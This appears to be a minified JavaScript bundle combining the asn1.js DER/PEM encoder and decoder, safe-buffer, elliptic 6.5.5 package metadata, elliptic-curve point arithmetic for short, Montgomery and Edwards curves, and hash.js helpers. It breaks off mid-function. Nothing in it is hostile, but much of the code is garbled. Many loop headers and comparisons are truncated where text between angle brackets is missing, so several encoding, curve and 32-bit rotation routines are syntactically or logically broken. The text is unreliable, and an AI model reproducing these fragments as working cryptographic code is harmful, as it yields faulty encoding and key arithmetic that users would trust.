i.use!==null?a=this._getUse(i.use,n)._encode(t,r):(s=this._encodePrimitive(i.tag,t),o=!0);if(!i.any&&i.choice===null){const d=i.implicit!==null?i.implicit:i.tag,b=i.implicit===null?"universal":"context";d===null?i.use===null&&r.error("Tag could be omitted only for .use()"):i.use===null&&(a=this._encodeComposite(d,o,b,s))}return i.explicit!==null&&(a=this._encodeComposite(i.explicit,!1,"context",a)),a};ye.prototype._encodeChoice=function(t,r){const n=this._baseState,i=n.choice[t.type];return i||st(!1,t.type+" not found in "+JSON.stringify(Object.keys(n.choice))),i._encode(t.value,r)};ye.prototype._encodePrimitive=function(t,r){const n=this._baseState;if(/str$/.test(t))return this._encodeStr(r,t);if(t==="objid"&&n.args)return this._encodeObjid(r,n.reverseArgs[0],n.args[1]);if(t==="objid")return this._encodeObjid(r,null,null);if(t==="gentime"||t==="utctime")return this._encodeTime(r,t);if(t==="null_")return this._encodeNull();if(t==="int"||t==="enum")return this._encodeInt(r,n.args&&n.reverseArgs[0]);if(t==="bool")return this._encodeBool(r);if(t==="objDesc")return this._encodeStr(r,t);throw new Error("Unsupported tag: "+t)};ye.prototype._isNumstr=function(t){return/^[0-9 ]*$/.test(t)};ye.prototype._isPrintstr=function(t){return/^[A-Za-z0-9 '()+,-./:=?]*$/.test(t)};var pi={};(function(e){function t(r){const n={};return Object.keys(r).forEach(function(i){(i|0)==i&&(i=i|0);const a=r[i];n[a]=i}),n}e.tagClass={0:"universal",1:"application",2:"context",3:"private"},e.tagClassByName=t(e.tagClass),e.tag={0:"end",1:"bool",2:"int",3:"bitstr",4:"octstr",5:"null_",6:"objid",7:"objDesc",8:"external",9:"real",10:"enum",11:"embed",12:"utf8str",13:"relativeOid",16:"seq",17:"set",18:"numstr",19:"printstr",20:"t61str",21:"videostr",22:"ia5str",23:"utctime",24:"gentime",25:"graphstr",26:"iso646str",27:"genstr",28:"unistr",29:"charstr",30:"bmpstr"},e.tagByName=t(e.tag)})(pi);const g0=zt,sr=Ka.Buffer,df=Wa,ta=pi;function hf(e){this.enc="der",this.name=e.name,this.entity=e,this.tree=new Dt,this.tree._init(e.body)}var pf=hf;hf.prototype.encode=function(t,r){return this.tree._encode(t,r).join()};function Dt(e){df.call(this,"der",e)}g0(Dt,df);Dt.prototype._encodeComposite=function(t,r,n,i){const a=y0(t,r,n,this.reporter);if(i.length<128){const d=sr.alloc(2);return d[0]=a,d[1]=i.length,this._createEncoderBuffer([d,i])}let s=1;for(let d=i.length;d>=256;d>>=8)s++;const o=sr.alloc(2+s);o[0]=a,o[1]=128|s;for(let d=1+s,b=i.length;b>0;d--,b>>=8)o[d]=b&255;return this._createEncoderBuffer([o,i])};Dt.prototype._encodeStr=function(t,r){if(r==="bitstr")return this._createEncoderBuffer([t.unused|0,t.data]);if(r==="bmpstr"){const n=sr.alloc(t.length*2);for(let i=0;i=40)return this.reporter.error("Second objid identifier OOB");t.splice(0,2,t[0]*40+t[1])}let i=0;for(let o=0;o=128;d>>=7)i++}const a=sr.alloc(i);let s=a.length-1;for(let o=t.length-1;o>=0;o--){let d=t[o];for(a[s--]=d&127;(d>>=7)>0;)a[s--]=128|d&127}return this._createEncoderBuffer(a)};function gt(e){return e<10?"0"+e:e}Dt.prototype._encodeTime=function(t,r){let n;const i=new Date(t);return r==="gentime"?n=[gt(i.getUTCFullYear()),gt(i.getUTCMonth()+1),gt(i.getUTCDate()),gt(i.getUTCHours()),gt(i.getUTCMinutes()),gt(i.getUTCSeconds()),"Z"].join(""):r==="utctime"?n=[gt(i.getUTCFullYear()%100),gt(i.getUTCMonth()+1),gt(i.getUTCDate()),gt(i.getUTCHours()),gt(i.getUTCMinutes()),gt(i.getUTCSeconds()),"Z"].join(""):this.reporter.error("Encoding "+r+" time is not supported yet"),this._encodeStr(n,"octstr")};Dt.prototype._encodeNull=function(){return this._createEncoderBuffer("")};Dt.prototype._encodeInt=function(t,r){if(typeof t=="string"){if(!r)return this.reporter.error("String int or enum given, but no values map");if(!r.hasOwnProperty(t))return this.reporter.error("Values map doesn't contain: "+JSON.stringify(t));t=r[t]}if(typeof t!="number"&&!sr.isBuffer(t)){const a=t.toArray();!t.sign&&a[0]&128&&a.unshift(0),t=sr.from(a)}if(sr.isBuffer(t)){let a=t.length;t.length===0&&a++;const s=sr.alloc(a);return t.copy(s),t.length===0&&(s[0]=0),this._createEncoderBuffer(s)}if(t<128)return this._createEncoderBuffer(t);if(t<256)return this._createEncoderBuffer([0,t]);let n=1;for(let a=t;a>=256;a>>=8)n++;const i=new Array(n);for(let a=i.length-1;a>=0;a--)i[a]=t&255,t>>=8;return i[0]&128&&i.unshift(0),this._createEncoderBuffer(sr.from(i))};Dt.prototype._encodeBool=function(t){return this._createEncoderBuffer(t?255:0)};Dt.prototype._use=function(t,r){return typeof t=="function"&&(t=t(r)),t._getEncoder("der").tree};Dt.prototype._skipDefault=function(t,r,n){const i=this._baseState;let a;if(i.default===null)return!1;const s=t.join();if(i.defaultBuffer===void 0&&(i.defaultBuffer=this._encodeValue(i.default,r,n).join()),s.length!==i.defaultBuffer.length)return!1;for(a=0;a=31?n.error("Multi-octet tag encoding unsupported"):(t||(i|=32),i|=ta.tagClassByName[r||"universal"]<<6,i)}const x0=zt,Ja=pf;function Ya(e){Ja.call(this,e),this.enc="pem"}x0(Ya,Ja);var w0=Ya;Ya.prototype.encode=function(t,r){const i=Ja.prototype.encode.call(this,t).toString("base64"),a=["-----BEGIN "+r.label+"-----"];for(let s=0;s>6],i=(r&32)===0;if((r&31)===31){let s=r;for(r=0;(s&128)===128;){if(s=e.readUInt8(t),e.isError(s))return s;r<<=7,r|=s&127}}else r&=31;const a=jo.tag[r];return{cls:n,primitive:i,tag:r,tagStr:a}}function gf(e,t,r){let n=e.readUInt8(r);if(e.isError(n))return n;if(!t&&n===128)return null;if(!(n&128))return n;const i=n&127;if(i>4)return e.error("length octect is too long");n=0;for(let a=0;a */(function(e,t){var r=fi,n=r.Buffer;function i(s,o){for(var d in s)o[d]=s[d]}n.from&&n.alloc&&n.allocUnsafe&&n.allocUnsafeSlow?e.exports=r:(i(r,t),t.Buffer=a);function a(s,o,d){return n(s,o,d)}a.prototype=Object.create(n.prototype),i(n,a),a.from=function(s,o,d){if(typeof s=="number")throw new TypeError("Argument must not be a number");return n(s,o,d)},a.alloc=function(s,o,d){if(typeof s!="number")throw new TypeError("Argument must be a number");var b=n(s);return o!==void 0?typeof d=="string"?b.fill(o,d):b.fill(o):b.fill(0),b},a.allocUnsafe=function(s){if(typeof s!="number")throw new TypeError("Argument must be a number");return n(s)},a.allocUnsafeSlow=function(s){if(typeof s!="number")throw new TypeError("Argument must be a number");return r.SlowBuffer(s)}})(ga,ga.exports);var wf=ga.exports,Sf={};const I0="elliptic",O0="6.5.5",B0="EC cryptography",k0="lib/elliptic.js",C0=["lib"],R0={lint:"eslint lib test","lint:fix":"npm run lint -- --fix",unit:"istanbul test _mocha --reporter=spec test/index.js",test:"npm run lint && npm run unit",version:"grunt dist && git add dist/"},$0={type:"git",url:"git@github.com:indutny/elliptic"},T0=["EC","Elliptic","curve","Cryptography"],P0="Fedor Indutny ",N0="MIT",z0={url:"https://github.com/indutny/elliptic/issues"},D0="https://github.com/indutny/elliptic",F0={brfs:"^2.0.2",coveralls:"^3.1.0",eslint:"^7.6.0",grunt:"^1.2.1","grunt-browserify":"^5.3.0","grunt-cli":"^1.3.2","grunt-contrib-connect":"^3.0.0","grunt-contrib-copy":"^1.0.0","grunt-contrib-uglify":"^5.0.0","grunt-mocha-istanbul":"^5.0.2","grunt-saucelabs":"^9.0.1",istanbul:"^0.4.5",mocha:"^8.0.1"},L0={"bn.js":"^4.11.9",brorand:"^1.1.0","hash.js":"^1.0.0","hmac-drbg":"^1.0.1",inherits:"^2.0.4","minimalistic-assert":"^1.0.1","minimalistic-crypto-utils":"^1.0.1"},j0={name:I0,version:O0,description:B0,main:k0,files:C0,scripts:R0,repository:$0,keywords:T0,author:P0,license:N0,bugs:z0,homepage:D0,devDependencies:F0,dependencies:L0};var mt={},eo={};(function(e){var t=e;function r(a,s){if(Array.isArray(a))return a.slice();if(!a)return[];var o=[];if(typeof a!="string"){for(var d=0;d>8,m=b&255;p?o.push(p,m):o.push(m)}return o}t.toArray=r;function n(a){return a.length===1?"0"+a:a}t.zero2=n;function i(a){for(var s="",o=0;o(C>>1)-1?z=(C>>1)-D:z=D,F.isubn(z)):z=0,I[B]=z,F.iushrn(1)}return I}t.getNAF=a;function s(p,m){var E=[[],[]];p=p.clone(),m=m.clone();for(var I=0,B=0,C;p.cmpn(-I)>0||m.cmpn(-B)>0;){var F=p.andln(3)+I&3,z=m.andln(3)+B&3;F===3&&(F=-1),z===3&&(z=-1);var D;F&1?(C=p.andln(7)+I&7,(C===3||C===5)&&z===2?D=-F:D=F):D=0,E[0].push(D);var R;z&1?(C=m.andln(7)+B&7,(C===3||C===5)&&F===2?R=-z:R=z):R=0,E[1].push(R),2*I===D+1&&(I=1-I),2*B===R+1&&(B=1-B),p.iushrn(1),m.iushrn(1)}return E}t.getJSF=s;function o(p,m,E){var I="_"+m;p.prototype[m]=function(){return this[I]!==void 0?this[I]:this[I]=E.call(this)}}t.cachedProperty=o;function d(p){return typeof p=="string"?t.toArray(p,"hex"):p}t.parseBytes=d;function b(p){return new r(p,"hex","le")}t.intFromLE=b})(mt);var to={exports:{}},ra;to.exports=function(t){return ra||(ra=new wr(null)),ra.generate(t)};function wr(e){this.rand=e}to.exports.Rand=wr;wr.prototype.generate=function(t){return this._rand(t)};wr.prototype._rand=function(t){if(this.rand.getBytes)return this.rand.getBytes(t);for(var r=new Uint8Array(t),n=0;n0?this.redN=null:(this._maxwellTrick=!0,this.redN=this.n.toRed(this.red))}var bi=Ir;Ir.prototype.point=function(){throw new Error("Not implemented")};Ir.prototype.validate=function(){throw new Error("Not implemented")};Ir.prototype._fixedNafMul=function(t,r){ti(t.precomputed);var n=t._getDoubles(),i=ei(r,1,this._bitLength),a=(1<=o;b--)d=(d<<1)+i[b];s.push(d)}for(var p=this.jpoint(null,null,null),m=this.jpoint(null,null,null),E=a;E>0;E--){for(o=0;o=0;d--){for(var b=0;d>=0&&s[d]===0;d--)b++;if(d>=0&&b++,o=o.dblp(b),d<0)break;var p=s[d];ti(p!==0),t.type==="affine"?p>0?o=o.mixedAdd(a[p-1>>1]):o=o.mixedAdd(a[-p-1>>1].neg()):p>0?o=o.add(a[p-1>>1]):o=o.add(a[-p-1>>1].neg())}return t.type==="affine"?o.toP():o};Ir.prototype._wnafMulAdd=function(t,r,n,i,a){var s=this._wnafT1,o=this._wnafT2,d=this._wnafT3,b=0,p,m,E;for(p=0;p=1;p-=2){var B=p-1,C=p;if(s[B]!==1||s[C]!==1){d[B]=ei(n[B],s[B],this._bitLength),d[C]=ei(n[C],s[C],this._bitLength),b=Math.max(d[B].length,b),b=Math.max(d[C].length,b);continue}var F=[r[B],null,null,r[C]];r[B].y.cmp(r[C].y)===0?(F[1]=r[B].add(r[C]),F[2]=r[B].toJ().mixedAdd(r[C].neg())):r[B].y.cmp(r[C].y.redNeg())===0?(F[1]=r[B].toJ().mixedAdd(r[C]),F[2]=r[B].add(r[C].neg())):(F[1]=r[B].toJ().mixedAdd(r[C]),F[2]=r[B].toJ().mixedAdd(r[C].neg()));var z=[-3,-1,-5,-7,0,7,5,1,3],D=U0(n[B],n[C]);for(b=Math.max(D[0].length,b),d[B]=new Array(b),d[C]=new Array(b),m=0;m=0;p--){for(var K=0;p>=0;){var j=!0;for(m=0;m=0&&K++,$=$.dblp(K),p<0)break;for(m=0;m0?E=o[m][H-1>>1]:H<0&&(E=o[m][-H-1>>1].neg()),E.type==="affine"?$=$.mixedAdd(E):$=$.add(E))}}for(p=0;p=Math.ceil((t.bitLength()+1)/r.step):!1};It.prototype._getDoubles=function(t,r){if(this.precomputed&&this.precomputed.doubles)return this.precomputed.doubles;for(var n=[this],i=this,a=0;a=0&&(I=b,B=p),m.negative&&(m=m.neg(),E=E.neg()),I.negative&&(I=I.neg(),B=B.neg()),[{a:m,b:E},{a:I,b:B}]};Ot.prototype._endoSplit=function(t){var r=this.endo.basis,n=r[0],i=r[1],a=i.b.mul(t).divRound(this.n),s=n.b.neg().mul(t).divRound(this.n),o=a.mul(n.a),d=s.mul(i.a),b=a.mul(n.b),p=s.mul(i.b),m=t.sub(o).sub(d),E=b.add(p).neg();return{k1:m,k2:E}};Ot.prototype.pointFromX=function(t,r){t=new ke(t,16),t.red||(t=t.toRed(this.red));var n=t.redSqr().redMul(t).redIAdd(t.redMul(this.a)).redIAdd(this.b),i=n.redSqrt();if(i.redSqr().redSub(n).cmp(this.zero)!==0)throw new Error("invalid point");var a=i.fromRed().isOdd();return(r&&!a||!r&&a)&&(i=i.redNeg()),this.point(t,i)};Ot.prototype.validate=function(t){if(t.inf)return!0;var r=t.x,n=t.y,i=this.a.redMul(r),a=r.redSqr().redMul(r).redIAdd(i).redIAdd(this.b);return n.redSqr().redISub(a).cmpn(0)===0};Ot.prototype._endoWnafMulAdd=function(t,r,n){for(var i=this._endoWnafT1,a=this._endoWnafT2,s=0;s":""};Ze.prototype.isInfinity=function(){return this.inf};Ze.prototype.add=function(t){if(this.inf)return t;if(t.inf)return this;if(this.eq(t))return this.dbl();if(this.neg().eq(t))return this.curve.point(null,null);if(this.x.cmp(t.x)===0)return this.curve.point(null,null);var r=this.y.redSub(t.y);r.cmpn(0)!==0&&(r=r.redMul(this.x.redSub(t.x).redInvm()));var n=r.redSqr().redISub(this.x).redISub(t.x),i=r.redMul(this.x.redSub(n)).redISub(this.y);return this.curve.point(n,i)};Ze.prototype.dbl=function(){if(this.inf)return this;var t=this.y.redAdd(this.y);if(t.cmpn(0)===0)return this.curve.point(null,null);var r=this.curve.a,n=this.x.redSqr(),i=t.redInvm(),a=n.redAdd(n).redIAdd(n).redIAdd(r).redMul(i),s=a.redSqr().redISub(this.x.redAdd(this.x)),o=a.redMul(this.x.redSub(s)).redISub(this.y);return this.curve.point(s,o)};Ze.prototype.getX=function(){return this.x.fromRed()};Ze.prototype.getY=function(){return this.y.fromRed()};Ze.prototype.mul=function(t){return t=new ke(t,16),this.isInfinity()?this:this._hasDoubles(t)?this.curve._fixedNafMul(this,t):this.curve.endo?this.curve._endoWnafMulAdd([this],[t]):this.curve._wnafMul(this,t)};Ze.prototype.mulAdd=function(t,r,n){var i=[this,r],a=[t,n];return this.curve.endo?this.curve._endoWnafMulAdd(i,a):this.curve._wnafMulAdd(1,i,a,2)};Ze.prototype.jmulAdd=function(t,r,n){var i=[this,r],a=[t,n];return this.curve.endo?this.curve._endoWnafMulAdd(i,a,!0):this.curve._wnafMulAdd(1,i,a,2,!0)};Ze.prototype.eq=function(t){return this===t||this.inf===t.inf&&(this.inf||this.x.cmp(t.x)===0&&this.y.cmp(t.y)===0)};Ze.prototype.neg=function(t){if(this.inf)return this;var r=this.curve.point(this.x,this.y.redNeg());if(t&&this.precomputed){var n=this.precomputed,i=function(a){return a.neg()};r.precomputed={naf:n.naf&&{wnd:n.naf.wnd,points:n.naf.points.map(i)},doubles:n.doubles&&{step:n.doubles.step,points:n.doubles.points.map(i)}}}return r};Ze.prototype.toJ=function(){if(this.inf)return this.curve.jpoint(null,null,null);var t=this.curve.jpoint(this.x,this.y,this.curve.one);return t};function rt(e,t,r,n){mn.BasePoint.call(this,e,"jacobian"),t===null&&r===null&&n===null?(this.x=this.curve.one,this.y=this.curve.one,this.z=new ke(0)):(this.x=new ke(t,16),this.y=new ke(r,16),this.z=new ke(n,16)),this.x.red||(this.x=this.x.toRed(this.curve.red)),this.y.red||(this.y=this.y.toRed(this.curve.red)),this.z.red||(this.z=this.z.toRed(this.curve.red)),this.zOne=this.z===this.curve.one}no(rt,mn.BasePoint);Ot.prototype.jpoint=function(t,r,n){return new rt(this,t,r,n)};rt.prototype.toP=function(){if(this.isInfinity())return this.curve.point(null,null);var t=this.z.redInvm(),r=t.redSqr(),n=this.x.redMul(r),i=this.y.redMul(r).redMul(t);return this.curve.point(n,i)};rt.prototype.neg=function(){return this.curve.jpoint(this.x,this.y.redNeg(),this.z)};rt.prototype.add=function(t){if(this.isInfinity())return t;if(t.isInfinity())return this;var r=t.z.redSqr(),n=this.z.redSqr(),i=this.x.redMul(r),a=t.x.redMul(n),s=this.y.redMul(r.redMul(t.z)),o=t.y.redMul(n.redMul(this.z)),d=i.redSub(a),b=s.redSub(o);if(d.cmpn(0)===0)return b.cmpn(0)!==0?this.curve.jpoint(null,null,null):this.dbl();var p=d.redSqr(),m=p.redMul(d),E=i.redMul(p),I=b.redSqr().redIAdd(m).redISub(E).redISub(E),B=b.redMul(E.redISub(I)).redISub(s.redMul(m)),C=this.z.redMul(t.z).redMul(d);return this.curve.jpoint(I,B,C)};rt.prototype.mixedAdd=function(t){if(this.isInfinity())return t.toJ();if(t.isInfinity())return this;var r=this.z.redSqr(),n=this.x,i=t.x.redMul(r),a=this.y,s=t.y.redMul(r).redMul(this.z),o=n.redSub(i),d=a.redSub(s);if(o.cmpn(0)===0)return d.cmpn(0)!==0?this.curve.jpoint(null,null,null):this.dbl();var b=o.redSqr(),p=b.redMul(o),m=n.redMul(b),E=d.redSqr().redIAdd(p).redISub(m).redISub(m),I=d.redMul(m.redISub(E)).redISub(a.redMul(p)),B=this.z.redMul(o);return this.curve.jpoint(E,I,B)};rt.prototype.dblp=function(t){if(t===0)return this;if(this.isInfinity())return this;if(!t)return this.dbl();var r;if(this.curve.zeroA||this.curve.threeA){var n=this;for(r=0;r=0)return!1;if(n.redIAdd(a),this.x.cmp(n)===0)return!0}};rt.prototype.inspect=function(){return this.isInfinity()?"":""};rt.prototype.isInfinity=function(){return this.z.cmpn(0)===0};var Gr=Nt,_f=zt,vi=bi,K0=mt;function gn(e){vi.call(this,"mont",e),this.a=new Gr(e.a,16).toRed(this.red),this.b=new Gr(e.b,16).toRed(this.red),this.i4=new Gr(4).toRed(this.red).redInvm(),this.two=new Gr(2).toRed(this.red),this.a24=this.i4.redMul(this.a.redAdd(this.two))}_f(gn,vi);var W0=gn;gn.prototype.validate=function(t){var r=t.normalize().x,n=r.redSqr(),i=n.redMul(r).redAdd(n.redMul(this.a)).redAdd(r),a=i.redSqrt();return a.redSqr().cmp(i)===0};function Ge(e,t,r){vi.BasePoint.call(this,e,"projective"),t===null&&r===null?(this.x=this.curve.one,this.z=this.curve.zero):(this.x=new Gr(t,16),this.z=new Gr(r,16),this.x.red||(this.x=this.x.toRed(this.curve.red)),this.z.red||(this.z=this.z.toRed(this.curve.red)))}_f(Ge,vi.BasePoint);gn.prototype.decodePoint=function(t,r){return this.point(K0.toArray(t,r),1)};gn.prototype.point=function(t,r){return new Ge(this,t,r)};gn.prototype.pointFromJSON=function(t){return Ge.fromJSON(this,t)};Ge.prototype.precompute=function(){};Ge.prototype._encode=function(){return this.getX().toArray("be",this.curve.p.byteLength())};Ge.fromJSON=function(t,r){return new Ge(t,r[0],r[1]||t.one)};Ge.prototype.inspect=function(){return this.isInfinity()?"":""};Ge.prototype.isInfinity=function(){return this.z.cmpn(0)===0};Ge.prototype.dbl=function(){var t=this.x.redAdd(this.z),r=t.redSqr(),n=this.x.redSub(this.z),i=n.redSqr(),a=r.redSub(i),s=r.redMul(i),o=a.redMul(i.redAdd(this.curve.a24.redMul(a)));return this.curve.point(s,o)};Ge.prototype.add=function(){throw new Error("Not supported on Montgomery curve")};Ge.prototype.diffAdd=function(t,r){var n=this.x.redAdd(this.z),i=this.x.redSub(this.z),a=t.x.redAdd(t.z),s=t.x.redSub(t.z),o=s.redMul(n),d=a.redMul(i),b=r.z.redMul(o.redAdd(d).redSqr()),p=r.x.redMul(o.redISub(d).redSqr());return this.curve.point(b,p)};Ge.prototype.mul=function(t){for(var r=t.clone(),n=this,i=this.curve.point(null,null),a=this,s=[];r.cmpn(0)!==0;r.iushrn(1))s.push(r.andln(1));for(var o=s.length-1;o>=0;o--)s[o]===0?(n=n.diffAdd(i,a),i=i.dbl()):(i=n.diffAdd(i,a),n=n.dbl());return i};Ge.prototype.mulAdd=function(){throw new Error("Not supported on Montgomery curve")};Ge.prototype.jumlAdd=function(){throw new Error("Not supported on Montgomery curve")};Ge.prototype.eq=function(t){return this.getX().cmp(t.getX())===0};Ge.prototype.normalize=function(){return this.x=this.x.redMul(this.z.redInvm()),this.z=this.curve.one,this};Ge.prototype.getX=function(){return this.normalize(),this.x.fromRed()};var J0=mt,fr=Nt,Ef=zt,mi=bi,Y0=J0.assert;function tr(e){this.twisted=(e.a|0)!==1,this.mOneA=this.twisted&&(e.a|0)===-1,this.extended=this.mOneA,mi.call(this,"edwards",e),this.a=new fr(e.a,16).umod(this.red.m),this.a=this.a.toRed(this.red),this.c=new fr(e.c,16).toRed(this.red),this.c2=this.c.redSqr(),this.d=new fr(e.d,16).toRed(this.red),this.dd=this.d.redAdd(this.d),Y0(!this.twisted||this.c.fromRed().cmpn(1)===0),this.oneC=(e.c|0)===1}Ef(tr,mi);var X0=tr;tr.prototype._mulA=function(t){return this.mOneA?t.redNeg():this.a.redMul(t)};tr.prototype._mulC=function(t){return this.oneC?t:this.c.redMul(t)};tr.prototype.jpoint=function(t,r,n,i){return this.point(t,r,n,i)};tr.prototype.pointFromX=function(t,r){t=new fr(t,16),t.red||(t=t.toRed(this.red));var n=t.redSqr(),i=this.c2.redSub(this.a.redMul(n)),a=this.one.redSub(this.c2.redMul(this.d).redMul(n)),s=i.redMul(a.redInvm()),o=s.redSqrt();if(o.redSqr().redSub(s).cmp(this.zero)!==0)throw new Error("invalid point");var d=o.fromRed().isOdd();return(r&&!d||!r&&d)&&(o=o.redNeg()),this.point(t,o)};tr.prototype.pointFromY=function(t,r){t=new fr(t,16),t.red||(t=t.toRed(this.red));var n=t.redSqr(),i=n.redSub(this.c2),a=n.redMul(this.d).redMul(this.c2).redSub(this.a),s=i.redMul(a.redInvm());if(s.cmp(this.zero)===0){if(r)throw new Error("invalid point");return this.point(this.zero,t)}var o=s.redSqrt();if(o.redSqr().redSub(s).cmp(this.zero)!==0)throw new Error("invalid point");return o.fromRed().isOdd()!==r&&(o=o.redNeg()),this.point(o,t)};tr.prototype.validate=function(t){if(t.isInfinity())return!0;t.normalize();var r=t.x.redSqr(),n=t.y.redSqr(),i=r.redMul(this.a).redAdd(n),a=this.c2.redMul(this.one.redAdd(this.d.redMul(r).redMul(n)));return i.cmp(a)===0};function Se(e,t,r,n,i){mi.BasePoint.call(this,e,"projective"),t===null&&r===null&&n===null?(this.x=this.curve.zero,this.y=this.curve.one,this.z=this.curve.one,this.t=this.curve.zero,this.zOne=!0):(this.x=new fr(t,16),this.y=new fr(r,16),this.z=n?new fr(n,16):this.curve.one,this.t=i&&new fr(i,16),this.x.red||(this.x=this.x.toRed(this.curve.red)),this.y.red||(this.y=this.y.toRed(this.curve.red)),this.z.red||(this.z=this.z.toRed(this.curve.red)),this.t&&!this.t.red&&(this.t=this.t.toRed(this.curve.red)),this.zOne=this.z===this.curve.one,this.curve.extended&&!this.t&&(this.t=this.x.redMul(this.y),this.zOne||(this.t=this.t.redMul(this.z.redInvm()))))}Ef(Se,mi.BasePoint);tr.prototype.pointFromJSON=function(t){return Se.fromJSON(this,t)};tr.prototype.point=function(t,r,n,i){return new Se(this,t,r,n,i)};Se.fromJSON=function(t,r){return new Se(t,r[0],r[1],r[2])};Se.prototype.inspect=function(){return this.isInfinity()?"":""};Se.prototype.isInfinity=function(){return this.x.cmpn(0)===0&&(this.y.cmp(this.z)===0||this.zOne&&this.y.cmp(this.curve.c)===0)};Se.prototype._extDbl=function(){var t=this.x.redSqr(),r=this.y.redSqr(),n=this.z.redSqr();n=n.redIAdd(n);var i=this.curve._mulA(t),a=this.x.redAdd(this.y).redSqr().redISub(t).redISub(r),s=i.redAdd(r),o=s.redSub(n),d=i.redSub(r),b=a.redMul(o),p=s.redMul(d),m=a.redMul(d),E=o.redMul(s);return this.curve.point(b,p,E,m)};Se.prototype._projDbl=function(){var t=this.x.redAdd(this.y).redSqr(),r=this.x.redSqr(),n=this.y.redSqr(),i,a,s,o,d,b;if(this.curve.twisted){o=this.curve._mulA(r);var p=o.redAdd(n);this.zOne?(i=t.redSub(r).redSub(n).redMul(p.redSub(this.curve.two)),a=p.redMul(o.redSub(n)),s=p.redSqr().redSub(p).redSub(p)):(d=this.z.redSqr(),b=p.redSub(d).redISub(d),i=t.redSub(r).redISub(n).redMul(b),a=p.redMul(o.redSub(n)),s=p.redMul(b))}else o=r.redAdd(n),d=this.curve._mulC(this.z).redSqr(),b=o.redSub(d).redSub(d),i=this.curve._mulC(t.redISub(o)).redMul(b),a=this.curve._mulC(o).redMul(r.redISub(n)),s=o.redMul(b);return this.curve.point(i,a,s)};Se.prototype.dbl=function(){return this.isInfinity()?this:this.curve.extended?this._extDbl():this._projDbl()};Se.prototype._extAdd=function(t){var r=this.y.redSub(this.x).redMul(t.y.redSub(t.x)),n=this.y.redAdd(this.x).redMul(t.y.redAdd(t.x)),i=this.t.redMul(this.curve.dd).redMul(t.t),a=this.z.redMul(t.z.redAdd(t.z)),s=n.redSub(r),o=a.redSub(i),d=a.redAdd(i),b=n.redAdd(r),p=s.redMul(o),m=d.redMul(b),E=s.redMul(b),I=o.redMul(d);return this.curve.point(p,m,I,E)};Se.prototype._projAdd=function(t){var r=this.z.redMul(t.z),n=r.redSqr(),i=this.x.redMul(t.x),a=this.y.redMul(t.y),s=this.curve.d.redMul(i).redMul(a),o=n.redSub(s),d=n.redAdd(s),b=this.x.redAdd(this.y).redMul(t.x.redAdd(t.y)).redISub(i).redISub(a),p=r.redMul(o).redMul(b),m,E;return this.curve.twisted?(m=r.redMul(d).redMul(a.redSub(this.curve._mulA(i))),E=o.redMul(d)):(m=r.redMul(d).redMul(a.redSub(i)),E=this.curve._mulC(o).redMul(d)),this.curve.point(p,m,E)};Se.prototype.add=function(t){return this.isInfinity()?t:t.isInfinity()?this:this.curve.extended?this._extAdd(t):this._projAdd(t)};Se.prototype.mul=function(t){return this._hasDoubles(t)?this.curve._fixedNafMul(this,t):this.curve._wnafMul(this,t)};Se.prototype.mulAdd=function(t,r,n){return this.curve._wnafMulAdd(1,[this,r],[t,n],2,!1)};Se.prototype.jmulAdd=function(t,r,n){return this.curve._wnafMulAdd(1,[this,r],[t,n],2,!0)};Se.prototype.normalize=function(){if(this.zOne)return this;var t=this.z.redInvm();return this.x=this.x.redMul(t),this.y=this.y.redMul(t),this.t&&(this.t=this.t.redMul(t)),this.z=this.curve.one,this.zOne=!0,this};Se.prototype.neg=function(){return this.curve.point(this.x.redNeg(),this.y,this.z,this.t&&this.t.redNeg())};Se.prototype.getX=function(){return this.normalize(),this.x.fromRed()};Se.prototype.getY=function(){return this.normalize(),this.y.fromRed()};Se.prototype.eq=function(t){return this===t||this.getX().cmp(t.getX())===0&&this.getY().cmp(t.getY())===0};Se.prototype.eqXToP=function(t){var r=t.toRed(this.curve.red).redMul(this.z);if(this.x.cmp(r)===0)return!0;for(var n=t.clone(),i=this.curve.redN.redMul(this.z);;){if(n.iadd(this.curve.n),n.cmp(this.curve.p)>=0)return!1;if(r.redIAdd(i),this.x.cmp(r)===0)return!0}};Se.prototype.toP=Se.prototype.normalize;Se.prototype.mixedAdd=Se.prototype.add;(function(e){var t=e;t.base=bi,t.short=V0,t.mont=W0,t.edwards=X0})(ro);var gi={},yi={},se={},G0=Ar,Z0=zt;se.inherits=Z0;function Q0(e,t){return(e.charCodeAt(t)&64512)!==55296||t<0||t+1>=e.length?!1:(e.charCodeAt(t+1)&64512)===56320}function eh(e,t){if(Array.isArray(e))return e.slice();if(!e)return[];var r=[];if(typeof e=="string")if(t){if(t==="hex")for(e=e.replace(/[^a-z0-9]+/ig,""),e.length%2!==0&&(e="0"+e),i=0;i>6|192,r[n++]=a&63|128):Q0(e,i)?(a=65536+((a&1023)<<10)+(e.charCodeAt(++i)&1023),r[n++]=a>>18|240,r[n++]=a>>12&63|128,r[n++]=a>>6&63|128,r[n++]=a&63|128):(r[n++]=a>>12|224,r[n++]=a>>6&63|128,r[n++]=a&63|128)}else for(i=0;i>>24|e>>>8&65280|e<<8&16711680|(e&255)<<24;return t>>>0}se.htonl=Af;function rh(e,t){for(var r="",n=0;n>>0}return a}se.join32=nh;function ih(e,t){for(var r=new Array(e.length*4),n=0,i=0;n>>24,r[i+1]=a>>>16&255,r[i+2]=a>>>8&255,r[i+3]=a&255):(r[i+3]=a>>>24,r[i+2]=a>>>16&255,r[i+1]=a>>>8&255,r[i]=a&255)}return r}se.split32=ih;function ah(e,t){return e>>>t|e<<32-t}se.rotr32=ah;function oh(e,t){return e<>>32-t}se.rotl32=oh;function sh(e,t){return e+t>>>0}se.sum32=sh;function fh(e,t,r){return e+t+r>>>0}se.sum32_3=fh;function lh(e,t,r,n){return e+t+r+n>>>0}se.sum32_4=lh;function uh(e,t,r,n,i){return e+t+r+n+i>>>0}se.sum32_5=uh;function ch(e,t,r,n){var i=e[t],a=e[t+1],s=n+a>>>0,o=(s>>0,e[t+1]=s}se.sum64=ch;function dh(e,t,r,n){var i=t+n>>>0,a=(i>>0}se.sum64_hi=dh;function hh(e,t,r,n){var i=t+n;return i>>>0}se.sum64_lo=hh;function ph(e,t,r,n,i,a,s,o){var d=0,b=t;b=b+n>>>0,d+=b>>0,d+=b>>0,d+=b>>0}se.sum64_4_hi=ph;function bh(e,t,r,n,i,a,s,o){var d=t+n+a+o;return d>>>0}se.sum64_4_lo=bh;function vh(e,t,r,n,i,a,s,o,d,b){var p=0,m=t;m=m+n>>>0,p+=m>>0,p+=m>>0,p+=m>>0,p+=m>>0}se.sum64_5_hi=vh;function mh(e,t,r,n,i,a,s,o,d,b){var 